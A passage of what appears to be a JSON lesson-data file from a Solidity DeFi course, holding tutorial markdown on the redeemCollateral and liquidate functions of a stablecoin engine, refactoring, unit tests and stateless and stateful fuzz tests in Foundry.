Collateral' Function\n\nIn this section we're going to be diving deep into our `redeemCollateral` function with a focus on safe and efficient transactions for our users.\n\n## Creating the 'redeemCollateral' Function\n\nFirst things first, in order for users to redeem the collateral, they need to have a health factor above one even after their collateral is pulled out. Ensuring this is the operating protocol will maintain the platform's integrity and ensure safe transactions.\n\n```javascript\nfunction redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral) external nonReentrant moreThanZero(amountCollateral){...}\n```\n\nIn our redeem collateral function, we start by allowing the user to select the type of collateral they would like to redeem. The function then checks the balance to ensure that the requested amount is available for withdrawal. It is crucial that there are no zero-amount transactions, as these often signify errors.\n\nTo streamline the process, we ensure this function is 'non-reentrant', meaning it can't be recursively called by an external contract, preventing potential attacks and ensuring greater safety. If necessary, these protective measures will be relayed later during a gas audit.\n\n## Ensuring Consistency\n\nIn computing science there's a concept called \"DRY: Don't Repeat Yourself\". If you find that you are writing the same code repeatedly, it's usually a sign that you need to refactor your code. Thus, while this function may currently be written in a particular style, it could be subject to change in the future to ensure that our code remains efficient and clean.\n\n## Updating Our Internal Accounting\n\nIn order to keep track of the collateral that each individual user has in their account, we use internal accounting. This eliminates the possibility of users withdrawing more collateral than they have in their accounts.\n\n```javascript\nfunction redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral) external nonReentrant moreThanZero(amountCollateral){\n s_collateralDeposited[msg.sender][tokenCollateralAddress] -= amountCollateral;\n}\n```\n\nDigging in, the first part of our function updates our internal accounting, deducting the amount withdrawn from the account. If a user tries to withdraw more than they have, the Solidity compiler will throw an error, which is highly useful for preventing any unnecessary headaches.\n\n## Issuing Event Updates\n\nUpon updating the state, we will emit an event to reflect the redeeming of collateral, showing the message sender, the amount of collateral, and the token collateral address.\n\n```javascript\n...\nevent CollateralRedeemed(address indexed user, address indexed token, uint256 indexed amount);\n...\nfunction redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral) external nonReentrant moreThanZero(amountCollateral){\n s_collateralDeposited[msg.sender][tokenCollateralAddress] -= amountCollateral;\n\n emit CollateralRedeemed(msg.sender, tokenCollateralAddress, amountCollateral)\n}\n```\n\n## Refactoring the Function\n\nFor now, we've written our `redeemCollateral` function to represent a single instance of someone redeeming their collateral. However, in future iterations of this code, we will likely refactor this function to make it more modular and easily applicable in different scenarios.\n\n## Implementing the CEI Pattern\n\nThe Checks-Effects-Interactions (CEI) pattern is key in ensuring a super-safe contract. First, we perform some checks on the state variables; then, we effectuate changes; finally, we interact with other contracts. We adhere to this practice tightly unless we need to check something after a token transfer has taken place. In some of these instances, we might bypass the CEI pattern but always ensure that transactions are reverted if health-factor conditions are not met.\n\n## Health Factor Maintenance\n\nThe health factor (more commonly known as the collateralization ratio) is key to evaluating the risk of a particular loan, so it's vital to ensure that the health factor doesn't break when the collateral is pulled. We've made a function to check this:\n\n```javascript\n function redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral)\n external\n nonReentrant\n moreThanZero(amountCollateral){\n s_collateralDeposited[msg.sender][tokenCollateralAddress] -= amountCollateral;\n\n emit CollateralRedeemed(msg.sender, tokenCollateralAddress, amountCollateral)\n\n bool success = IERC20(tokenCollateralAddress).transfer(msg.sender, amountCollateral);\n if (!success){\n revert DSCEngine__TransferFailed();\n }\n _revertIfHealthFactorIsBroken(msg.sender);\n }\n\n```\n\nOur `redeemCollateral` function comes with a built-in safeguard to prevent the health factor from falling below acceptable levels.\n\n## The Burn Function\n\nThe burning of DSC reflects removing debt from the system and will likely not affect the health factor since the action lowers debt rather than increasing it. Despite this, we ensure to leave room for checks to protect the integrity of the process. The `_burnDsc` function should look something similar to this:\n\n```js\n function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {\n s_DSCMinted[onBehalfOf] -= amountDscToBurn;\n\n bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);\n // This conditional is hypothetically unreachable\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n i_dsc.burn(amountDscToBurn);\n // revertIfHealthFactorIsBroken(msg.sender); - we don't think this is ever going to hit.\n }\n```\n\n## Combining Redemption and Burning of DSC\n\nIn the current process, a user first has to burn their DSC and then redeem their collateral, causing a two-transaction process. However, for convenience's sake, let's combine these two transactions into one – making the process much more fluid and efficient. We'll do this in our `redeemCollateralForDsc` function:\n\n```js\n /*\n * @param tokenCollateralAddress: The ERC20 token address of the collateral you're depositing\n * @param amountCollateral: The amount of collateral you're depositing\n * @param amountDscToBurn: The amount of DSC you want to burn\n * @notice This function will withdraw your collateral and burn DSC in one transaction\n */\n function redeemCollateralForDsc(address tokenCollateralAddress, uint256 amountCollateral, uint256 amountDscToBurn)\n external\n moreThanZero(amountCollateral)\n {\n _burnDsc(amountDscToBurn, msg.sender, msg.sender);\n _redeemCollateral(tokenCollateralAddress, amountCollateral, msg.sender, msg.sender);\n //redeem collateral already checks health factor\n }\n```\n\nDon't forget NatSpec!\n\n## Conclusion\n\nThe `redeemCollateral` function, while seemingly complex, is necessary to ensure safe, secure transactions on the blockchain. By walking through each step of the function – from creating it to refactoring it – we offer a comprehensive view of how such a function operates.\n\nWhile the structure of these functions described here may change slightly in the future, it's crucial to understand the basics: enforce checks, maintain health factors, and avoid redundant code. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "df0ffbd6-b926-4bde-84d6-3977d17ed15d", + "number": 14, + "title": "Setup liquidations", + "slug": "defi-liquidation-setup", + "folderName": "14-defi-liquidation-setup", + "description": "Dive into setting up liquidations in DeFi protocols, understanding their mechanics, importance, and their role in maintaining financial stability. ", + "duration": 17, + "videoUrl": "jRJbUl3wMkuJE1w5unH00wtjNd702RW5KWyc4IE51nvlU", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/14-defi-liquidation-setup/+page.md", + "markdownContent": "---\ntitle: Liquidation Setup\n---\n\n_Follow along the course with this video._\n\n\n\n# Understanding and Implementing De-Fi Liquidation Function\n\nIn the world of crypto and blockchain, understanding and executing key concepts such as depositing collateral, minting stablecoins, redeeming collateral, and liquidation is essential. A user can mint our stablecoin by depositing collateral, redeem their collateral for the minted stablecoin, or burn their stablecoin to improve their health factor.\n\n## Implementing the Liquidation Function\n\nAn integral part of the system is the `liquidate()` function. This comes into play when we approach the phase of under-collateralization - we must start liquidating positions to prevent the system from crashing. Here's an example: suppose you have $100 worth of ETH backing $50 worth of DSC, and the price of ETH drops to $20. Now, we have $20 worth of ETH backing $50 worth of DSC, which makes the DSC worth less than a dollar. Hence, to prevent this scenario, positions need to be liquidated and removed from the system if the price of the collateral tanks.\n\nThe base of our `liquidate` function, with NatSpec should look like this:\n\n```js\n /*\n * @param collateral: The ERC20 token address of the collateral you're using to make the protocol solvent again.\n * This is collateral that you're going to take from the user who is insolvent.\n * In return, you have to burn your DSC to pay off their debt, but you don't pay off your own.\n * @param user: The user who is insolvent. They have to have a _healthFactor below MIN_HEALTH_FACTOR\n * @param debtToCover: The amount of DSC you want to burn to cover the user's debt.\n *\n * @notice: You can partially liquidate a user.\n * @notice: You will get a 10% LIQUIDATION_BONUS for taking the users funds.\n * @notice: This function working assumes that the protocol will be roughly 150% overcollateralized in order for this to work.\n * @notice: A known bug would be if the protocol was only 100% collateralized, we wouldn't be able to liquidate anyone.\n * For example, if the price of the collateral plummeted before anyone could be liquidated.\n */\n function liquidate(address collateral, address user, uint256 debtToCover) external moreThanZero nonReentrant {...}\n```\n\nIn cases of nearing under-collateralization, the protocol pays someone to liquidate the positions. This gamified incentive system provides an opportunity for users to earn \"free money\" by removing other people's positions in the protocol.\n\n## Bonus for Liquidators\n\nTo incentivize the liquidation process, the protocol offers a bonus for the liquidators. For example, upon liquidating $75, the liquidator can claim the whole amount by paying back $50 of DSC, effectively gaining a bonus of $25.\n\nNote that this system works only when the protocol is always over-collateralized. If the price of the collateral plummets before anyone can liquidate, the bonuses would no longer be available to the liquidators.\n\n## Checking the User's Health Factor\n\nThe first thing we have to be sure of when calling the `liquidate` function is, can this user be liquidated? We're going to implement a check which will revert if the user's health factor is OK. Fortunately we already have a function we can use to check (`healthFactor()`)!\n\n```js\n...\nerror DSCEngine__HealthFactorOk();\n...\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant {\n uint256 startingUserHealthFactor = _healthFactor(user);\n if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {\n revert DSCEngine__HealthFactorOk();\n }\n uint256 tokenAmountFromDebtCovered = getTokenAmountFromUsd(collateral, debtToCover);\n ...\n }\n```\n\n```js\n function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {\n AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);\n (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();\n // $100e18 USD Debt\n // 1 ETH = 2000 USD\n // The returned value from Chainlink will be 2000 * 1e8\n // Most USD pairs have 8 decimals, so we will just pretend they all do\n return ((usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION));\n }\n```\n\nFor a precise liquidation process, you need to know exactly how much of a token (say ETH) is equivalent to a particular amount of USD. The above function takes care of this conversion.\n\n## Liquidating and Multifying the Collateral\n\nIn order to incentivize liquidators and ensure the protocol remains over collateralized, the liquidator receives a bonus -- In our model, we've given a 10% bonus.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n uint256 private constant LIQUIDATION_BONUS = 10; // This means you get assets at a 10% discount when liquidating\n ...\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant\n {\n ...\n uint256 bonusCollateral = (tokenAmountFromDebtCovered * LIQUIDATION_BONUS) / 100;\n uint256 totalCollateralToRedeem = tokenAmountFromDebtCovered + bonusCollateral;\n ...\n }\n ...\n}\n```\n\nThe liquidator gets a bonus and the total collateral to redeem becomes a sum of the token amount from debt covered and the bonus collateral.\n\n## Wrapping Up\n\nIn conclusion, implementing a liquidation function in a cryptocurrency protocol guarantees its survival and stability in times of under-collateralization. Remember, in a decentralized ecosystem, the health of the system has to be maintained over and above all.\n\nIf any part of this post doesn't make sense, don't hesitate to ask in the discussions forum, or Google it. Use the resources that you have to your advantage! In the next part we'll be refactoring and finishing up the `liquidate()` function.\n", + "updates": [] + }, + { + "lessonId": "7376cbd3-3cbd-4335-8d15-56868dfcd8ae", + "number": 15, + "title": "Refactor liquidations", + "slug": "defi-liquidation-refactor", + "folderName": "15-defi-liquidation-refactor", + "description": "This lesson focuses on refining the DeFi protocol by refactoring the 'redeemCollateral()' function. It covers the importance of testing and refactoring for building a reliable DeFi protocol, enhancing security, and improving functionality.", + "duration": 13, + "videoUrl": "xZ17uj5HVjUTBbvVYKTgq9vJ4oXp985EUkE2KIGCvmo", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/15-defi-liquidation-refactor/+page.md", + "markdownContent": "---\ntitle: Liquidation Refactor\n---\n\n_Follow along the course with this video._\n\n\n\n# Creating a Robust DeFi Protocol\n\nHello everyone and welcome back! In this section, we will discuss the importance of thorough testing and regular refactoring to build a robust and reliable decentralized finance (DeFi) protocol, we will also illustrate how code modifications can improve protocol functionality.\n\n## Refining a DeFi protocol\n\nLet's talk about the `redeemCollateral()` function in our DeFi protocol. Currently, it's a public function and takes token collateral address and amount collateral as inputs. It's hardcoded to the message sender, which works perfectly if the token collateral, address, and amount collateral belong to the person calling the function. However, it fails when we need to redeem someone else's collateral, as in the case of a third-party user with bad debt.\n\n\n\nWith our DeFi protocol, we need to enhance this feature by augmenting our code. Thankfully, code modification can resolve this.\n\n### Internal redeem collateral function\n\n\n\nRefactoring the code lets us create an internal `_redeemCollateral()` function to redeem collateral from anyone. Creating an internal function makes it accessible only by other functions within the contract, therefore enhancing the protocol's security by preventing unauthorized usage.\n\n```js\nfunction _redeemCollateral (address tokenCollateralAddress, uint256 amountCollateral, address from, address to) private {...}\n```\n\nWe can include `address from` and `address to` in our input parameters in our internal function to enhance functionality. So, when someone undergoes liquidation, an address can be given from which to redeem and another one to receive the rewards.\n\nWe then move the original code in the public redeem collateral function to our newly created private function. We revise `msg.sender` to `from` and update our `CollateralRedeemed` event info accordingly.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n event CollateralRedeemed(address indexed redeemFrom, address indexed redeemTo, address token, uint256 amount); // if redeemFrom != redeemedTo, then it was liquidated\n ...\n function _redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral, address from, address to)\n private\n {\n s_collateralDeposited[from][tokenCollateralAddress] -= amountCollateral;\n emit CollateralRedeemed(from, to, tokenCollateralAddress, amountCollateral);\n bool success = IERC20(tokenCollateralAddress).transfer(to, amountCollateral);\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n }\n ...\n}\n```\n\nThis provides internal function usage in our public redeem collateral function. We then replace the original code with a call to our `_redeemCollateral` function, passing appropriate addresses for liquidation or redemption.\n\n```js\n function redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral)\n external\n moreThanZero(amountCollateral)\n nonReentrant\n {\n _redeemCollateral(tokenCollateralAddress, amountCollateral, msg.sender, msg.sender);\n revertIfHealthFactorIsBroken(msg.sender);\n }\n```\n\nFinally, in the liquidation process, we use `_redeemCollateral` to pull collateral from the user undergoing liquidation and transfer the amount to whoever called the `liquidate` function.\n\n```js\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant\n {\n uint256 startingUserHealthFactor = _healthFactor(user);\n if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {\n revert DSCEngine__HealthFactorOk();\n }\n // If covering 100 DSC, we need to $100 of collateral\n uint256 tokenAmountFromDebtCovered = getTokenAmountFromUsd(collateral, debtToCover);\n // And give them a 10% bonus\n // So we are giving the liquidator $110 of WETH for 100 DSC\n // We should implement a feature to liquidate in the event the protocol is insolvent\n // And sweep extra amounts into a treasury\n uint256 bonusCollateral = (tokenAmountFromDebtCovered * LIQUIDATION_BONUS) / 100;\n // Burn DSC equal to debtToCover\n // Figure out how much collateral to recover based on how much burnt\n _redeemCollateral(collateral, tokenAmountFromDebtCovered + bonusCollateral, user, msg.sender);\n ...\n }\n```\n\n## Iterative Refactoring\n\nIterative refactoring is indispensable for boosting protocol performance. In our case, besides revising the `redeemCollateral()` function, the `burnDSC()` function required a similar treatment. Just as in the redeem function, we created an internal `_burnDSC()` function to allow burning from any address.\n\nThe principal code changes entailed revising `msg.sender` to `onBehalfOf` and `dscFrom` within the burning event. Ensuring proper comments inside our code, specify that this internal function should only be called if the health factor checks are in place.\n\n```js\n ...\n function burnDsc(uint256 amount) external moreThanZero(amount) {\n _burnDsc(amount, msg.sender, msg.sender);\n revertIfHealthFactorIsBroken(msg.sender); // I don't think this would ever hit...\n }\n ...\n function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {\n s_DSCMinted[onBehalfOf] -= amountDscToBurn;\n\n bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);\n // This conditional is hypothetically unreachable\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n i_dsc.burn(amountDscToBurn);\n }\n ...\n```\n\nApplying these changes to the public `burnDSC()` function allows us to incorporate the burn DSC feature into the liquidation process. Here, the liquidator pays down the debt, thus reducing the minted DSC.\n\n```js\n ...\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant\n {\n ...\n _redeemCollateral(collateral, tokenAmountFromDebtCovered + bonusCollateral, user, msg.sender);\n _burnDsc(debtToCover, user, msg.sender);\n\n uint256 endingUserHealthFactor = _healthFactor(user);\n // This conditional should never hit, but just in case\n if (endingUserHealthFactor <= startingUserHealthFactor) {\n revert DSCEngine__HealthFactorNotImproved();\n }\n revertIfHealthFactorIsBroken(msg.sender);\n }\n ...\n```\n\nNote that we've also created Health Factor checks to ensure the integrity of the accounts of both the liquidator and the liquidatee is safe throughout this process.\n\n\n\nAfter such modifications, we should thoroughly validate protocol operation.\n\n## Running tests and fine-tuning\n\nProper unit testing is crucial for creating a solid DeFi protocol. It ensures the code correctly handles various scenarios and edge cases. With modifications in place, we must fix any syntax errors and ensure our code compiles successfully. Regression testing can then assure us that the changes haven't caused any unforeseeable issues that cause existing features to break.\n\nIt is also crucial to keep a clear and coherent code structure with neat comments and clear variable names. This practice not only helps in debugging, but also aids security auditors and other developers in understanding the code smoothly.\n\n\n\nTakeaways:\n\n- Good readable code along with comprehensive unit tests builds a strong DeFi protocol.\n- Regular refactoring helps us improve protocol functionality, decrease chances of bugs and increases code maintainability.\n- Adherence to CHECKS-EFFECTS-INTERACTIONS pattern ensures contract's state doesn't change unexpectedly during a transaction.\n\nIn the next few sections, we'll dive deep into testing methodologies and bug management. But for now, take that much-deserved break. So stretch those legs, fuel up, and meet us back here soon. Happy Coding!\n", + "updates": [] + }, + { + "lessonId": "35970bac-04ed-4d1a-93e1-8d71cb2486af", + "number": 16, + "title": "DSCEngine advanced testing", + "slug": "defi-protocols-advanced-testings-testing", + "folderName": "16-defi-leveling-up-testing", + "description": "This lesson dives into advanced testing techniques for Ethereum smart contracts using Foundry. It emphasizes the significance of testing for function initialization and demonstrates constructing and executing thorough test cases.", + "duration": 15, + "videoUrl": "x5X00U2CIg39S01dW67zgq1Tz9Hq9p9mZYuMVTYA4kk5A", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/16-defi-leveling-up-testing/+page.md", + "markdownContent": "---\ntitle: Leveling Up Testing\n---\n\n_Follow along the course with this video._\n\n\n\n# In-depth Guide to Testing for the Ethereum Smart Contract\n\nWriting tests for Ethereum smart contracts can be challenging even for experienced developers. In this section, I will guide you through some practical techniques to improve your testing structure using Foundry, our robust solidity framework. Note that this is a hands-on guide, so please open up your terminal to follow along.\n\n## Getting Started\n\nUsually, getting started is the hardest part. Open up your terminal, let's dive in. Our aim is to increase our code coverage.\n\n```bash\nforge coverage\n```\n\n## Constructor and Price Feed Tests\n\nLet's begin with some constructor tests. We will also want to set up some price feed tests. These will confirm whether things have been initialized correctly in our code. 'What are we testing?' you may ask. Your query should lead you to the constructor in your code. Check that you are correctly reverting when token lengths are not matching. For this test, you will need to create some address arrays — one for token addresses and another for price feed addresses.\n\nHere's our first constructor test:\n\n```js\n ///////////////////////\n // Constructor Tests //\n ///////////////////////\n address[] public tokenAddresses;\n address[] public feedAddresses;\n\n function testRevertsIfTokenLengthDoesntMatchPriceFeeds() public {\n tokenAddresses.push(weth);\n feedAddresses.push(ethUsdPriceFeed);\n feedAddresses.push(btcUsdPriceFeed);\n\n vm.expectRevert(DSCEngine.DSCEngine__TokenAddressesAndPriceFeedAddressesAmountsDontMatch.selector);\n new DSCEngine(tokenAddresses, feedAddresses, address(dsc));\n }\n```\n\nYour code should revert and pass the test. If it does, bravo! If it doesn't, you'll have to review your logic and keep debugging until it works.\n\nWe also want to test our `getTokenAmountFromUsd()` functon:\n\n```js\n //////////////////\n // Price Tests //\n //////////////////\n\n function testGetTokenAmountFromUsd() public {\n // If we want $100 of WETH @ $2000/WETH, that would be 0.05 WETH\n uint256 expectedWeth = 0.05 ether;\n uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 100 ether);\n assertEq(amountWeth, expectedWeth);\n }\n```\n\n## The Holy Grail of Tests: Is the Deposit Collateral Reverting?\n\nLet's now proceed to test more of our `depositCollateral()` function, specifically checking the it reverts with unapproved tokens. Dive into the `depositCollateral()` function in your code, our test is going to look something like this:\n\n```js\n function testRevertsWithUnapprovedCollateral() public {\n ERC20Mock randToken = new ERC20Mock(\"RAN\", \"RAN\", user, 100e18);\n vm.startPrank(user);\n vm.expectRevert(abi.encodeWithSelector(DSCEngine.DSCEngine__TokenNotAllowed.selector, address(randToken)));\n dsce.depositCollateral(address(randToken), amountCollateral);\n vm.stopPrank();\n }\n```\n\nThe result of this test should show a revert.\n\n## Testing Getter Functions\n\nWhen you write your getter functions, also write tests for them. We've written a public verson of the `_getAccountInformation()` function.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n function getAccountInformation(address user)\n external\n view\n returns (uint256 totalDscMinted, uint256 collateralValueInUsd)\n {\n return _getAccountInformation(user);\n }\n ...\n}\n```\n\nEnsure that the return values of this function are correct by asserting the output in our test. Note: we've created a modifier here to make it easier to test already deposited collateral.\n\n```js\n...\ncontract DSCEngineTest is StdCheats, Test {\n ...\n modifier depositedCollateral() {\n vm.startPrank(user);\n ERC20Mock(weth).approve(address(dsce), amountCollateral);\n dsce.depositCollateral(weth, amountCollateral);\n vm.stopPrank();\n _;\n }\n ...\n function testCanDepositedCollateralAndGetAccountInfo() public depositedCollateral {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(user);\n uint256 expectedDepositedAmount = dsce.getTokenAmountFromUsd(weth, collateralValueInUsd);\n assertEq(totalDscMinted, 0);\n assertEq(expectedDepositedAmount, amountCollateral);\n }\n ...\n}\n```\n\nAfter this, we can run `forge coverage` again to see what our test coverage is like. I'm not going to walk you through writing all these tests (you can find more examples on the repo), but I encourage you to challenge yourself to write more tests for `DSCEngine.sol`.\n\nAt this point, it's important to note that you don't have to attain 100% code coverage. Sometimes, 85%-90% coverage is great, but your test architecture should be set up to spot glaring bugs.\n\n## In Conclusion\n\nRemember that writing tests is the critical way to validate that your code works as expected. Let AI bots like OpenAI's ChatGPT help you write tests, especially for those hard scenarios that need advanced logic. Bear in mind that sometimes your code is correct, but the test may be wrong. Keep debugging until your tests pass and cover as much of your code as possible. Lastly, be ready to refactor your code to make it testable, readable, and maintainable.\n\nWith this guide, you should be able to run adequate tests for your Ethereum smart contracts. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "0dce8f57-7346-45fa-84f9-b9384b575d59", + "number": 17, + "title": "Write fuzz tests", + "slug": "defi-writing-fuzz-tests", + "folderName": "17-defi-open-fuzz-tests", + "description": "Lesson 17 explores the implementation of fuzz tests in smart contract development, discussing both stateful and stateless fuzz testing. It focuses on enhancing the robustness of DApps through meticulous unit testing and refactoring.", + "duration": 17, + "videoUrl": "L4WAlTQ02dhsiWtsGcjte76FljvanlUEVvVmdqOw6CAU", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/17-defi-open-fuzz-tests/+page.md", + "markdownContent": "---\ntitle: Open Fuzz Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Unit Testing and Refactoring: Building Better and Secure DApps\n\nHello everyone! Welcome back, if you have been following along, you would remember that in our previous section, we had taken a dive into the world of bugs and test cases. We looked at how to identify bugs and, more importantly, how to build a comprehensive battery of test cases. 'Now, are your tests similar to the one I provided? Better? Worse? The point is to have high test coverage for all logical branches in our code. It’s an awesome feeling when we can identify and fix bugs proactively through high-quality tests.\n\n\n\n## Enhancing The Health Factor Function\n\nDuring this testing, I found a need to refactor some code. One significant change was the introduction of a `_calculateHealthFactor()` function. Why did I introduce it? This new function allowed me to create a similar `public` function which provided a great deal of clarity in calculating our service’s health factor. This indirectly turned out to be a very useful tool in our tests, enabling us to get an expected health factor. Consequently, it allowed easy handling of any errors if the actual and expected health factors didn’t match – especially in our test cases when we expected certain events.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)\n internal\n pure\n returns (uint256)\n {\n if (totalDscMinted == 0) return type(uint256).max;\n uint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / 100;\n return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;\n }\n ...\n function calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)\n external\n pure\n returns (uint256)\n {\n return _calculateHealthFactor(totalDscMinted, collateralValueInUsd);\n }\n ...\n}\n```\n\nThis refactoring served a double purpose – a much cleaner code and better visibility of our health factor calculation. In fact, by making this function `public`, the users of our service can play around with it to see how their changes impact the health factor.\n\n## Bug Hunting\n\nIn the debugging exercise, the main point of interest was the `Health Factor` functionality. The `_calculateHealthFactor()` function worked by fetching the account information and then appling the health factor calculation. Here, I found a bug relating to `totalDscMinted`. My fix included a new checker that would detect if the `totalDsdMinted` was zero. If it was indeed zero, we capped the health factor to a maximum (e.g., 256).\n\n```js\n ...\n if (totalDscMinted == 0) return type(uint256).max;\n ...\n```\n\nWhy was this checker important? Well, let’s consider a scenario. What if a user deposits a massive amount of collateral, but doesn't have any DSC Minted? The health factor calculation would divide by zero, causing the system to crash. We have to consider all edge cases to ensure our system is fail-proof.\n\n## Essential External Functions\n\nAdditionally, I added a lot of `external view functions` which would make it easier to interact with our protocol. This eased readability and made our protocol user-friendly.\n\nOf course, with every refactoring, there was an expanded library of test cases to cover all possible scenarios and close all loopholes. Nothing new here, as you’re already well-versed with writing robust test cases. And if your test coverage is around something like 90% – kudos, my friend! You’ve mastered the art of diligent testing in a complex project.\n\n## But...Are We Done Yet?\n\nI’m sure you’re beaming with pride on your accomplishments, and rightly so. But, I have to break it to you – we’re not done yet! We’re now taking up the gauntlet to write the most epic, mind-blowingly awesome code there ever is!\n\n\n\nRight off the bat, the question that you need to repeatedly ask yourself is, ‘What are our invariants properties?’ If you can answer this question correctly, you can write stateful and stateless fuzz tests for your code and harden your application against unforeseen edge cases.\n\n## Understanding Fuzz Testing\n\nIn the world of programming, regardless of how hard you try, it’s almost guaranteed that you will miss a certain edge case scenario. This is where an advanced form of testing called `Fuzz Testing` comes into play.\n\n\n\nAs we look at Fuzz Testing, we'll be exploring both stateful and stateless variants.\n\n## Stateless versus Stateful Fuzz Testing\n\nTo put it simply, the previous state doesn't impact the next run in stateless fuzzing. On the other hand, stateful fuzzing uses the state of the previous test run as the starting point for the next one. Here's an example of stateless fuzz testing:\n\nOur Contract:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract MyContract {\n uint256 public shouldAlwaysBeZero = 0;\n uint256 hiddenValue = 0;\n\n function doStuff(uint256 data) public {\n if (data ==2){\n shouldAlwaysBeZero = 1;\n }\n if (hiddenValue == 7){\n shouldAlwaysBeZero = 1;\n }\n hiddenValue = data;\n }\n}\n```\n\nOur Test:\n\n```js\n ...\n function testIAlwaysGetZeroFuzz(uint256 data) public {\n exampleContract.doStuff(data);\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n }\n```\n\nIn the above example, the `doStuff` function should always return zero. The fuzz test will pass varying random arguments to our function, attempting to break this function. Here's a stateful fuzz test:\n\n```js\n...\nimport {StdInvariant} from \"forge-std/StdInvariant.sol\";\n\ncontract MyContractTest is StdInvariant, Test {\n MyContract exampleContract;\n\n function setUp() public {\n exampleContract = new MyContact();\n targetContract(address(exampleContract));\n }\n\n function invariant_testAlwaysReturnsZero() public {\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n }\n}\n\n```\n\nThe above example is going to call the functions of `MyContract` randomly, with random data.\n\nThis functionality doesn't stop at the basics. If you're interested in exploring more advanced fuzzing strategies - stay tuned! We'll be diving deeper into this topic in our future posts.\n\n## Wrap Up\n\nLet's have a quick wrap-up of what we discussed today.\n\n- Unit testing is crucial in identifying and fixing bugs.\n- Refactoring not only yields cleaner code but also makes the system easier to understand and interact with.\n- Stateless and stateful fuzz testing is crucial in securing your smart contract.\n\nOverall, enhancements to your testing strategies can significantly increase the resilience and robustness of your platform. In conclusion, I urge you to keep those invariants in mind, keep writing those functions, and don’t let anyone undervalue your tests!\n\nUntil then – happy coding!\n", + "updates": [] + }, + { + "lessonId": "d8723ab8-f2c0-4738-a404-7d67735bec48", + "number": 18, + "title": "Create the fuzz tests handler pt.1", + "slug": "create-fuzz-tests-handler", + "folderName": "18-defi-handler-fuzz-tests", + "description": "Part 1 of this lesson introduces the concept of fuzz testing in Foundry, focusing on creating detailed invariant tests for smart contracts. It guides through setting up the testing environment and structuring invariants and handlers.", + "duration": 14, + "videoUrl": "IPIrYsKq5ylG8oeqkM021e4i1Q00c7qQFiS500mpCsZZ5Q", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/18-defi-handler-fuzz-tests/+page.md", + "markdownContent": "---\ntitle: Handler Fuzz Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Decoding the Magic of Fuzz Testing in Foundry\n\nChances are, you're here because you've heard about the magic that is **fuzz testing** or **invariant testing**. As developers, it's absolutely crucial for us to gain confidence that our code works as intended, especially when it comes to complex projects.\n\nAnd trust me, there's no better way to do this than by writing robust invariant tests.\n\n## Fuzz Testing - An Overview\n\nFuzz testing, also known as fuzzing, is a software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.\n\n\n\nIt's like throwing a wrench into a machine and watching to see if and how the machine breaks, giving you a better understanding of the machine's robustness, and how it might break in the future.\n\nWe could compare fuzz testing to an open basketball court where you get to shoot from anywhere you like. It's a fun way to get warmed up and get a feel for the game, especially at the beginning. But the problem is, you could be wasting valuable shots from improbable distances or awkward angles. Instead, you might want to focus on the three-point line or the free-throw line, which hold a higher value in an actual game scenario.\n\nThat's where targeted invariants and fuzz testing with handlers come in!\n\n## Fuzz Testing Vs Invariant Testing\n\nTo clarify, invariant testing is simply a type of fuzz testing. 'Invariant' just means stateful, or persistent.\n\nThe basic methodology, like we saw in the previous video, works okay. But as we start building more complex systems, we begin to see its limitations. Suffice to say, it represents an \"open\" targeted fuzz testing where all functions in a contract are called in any order, attempting to break the invariants.\n\nEnter **invariant testing with handlers**, the more advanced sibling, which curtails these seemingly random efforts with more focused techniques, and is what we'll be focusing more on in this piece.\n\n## Let's Get To Testing!\n\nEnough explanation, let's get our hands dirty! We are about to create some very detailed invariant tests to increase your confidence in your code.\n\n### Setting Up Your Environment\n\n\n\nFor our testing purposes, we're going to be using Foundry, a core framework which has a built-in test runner with invariants and 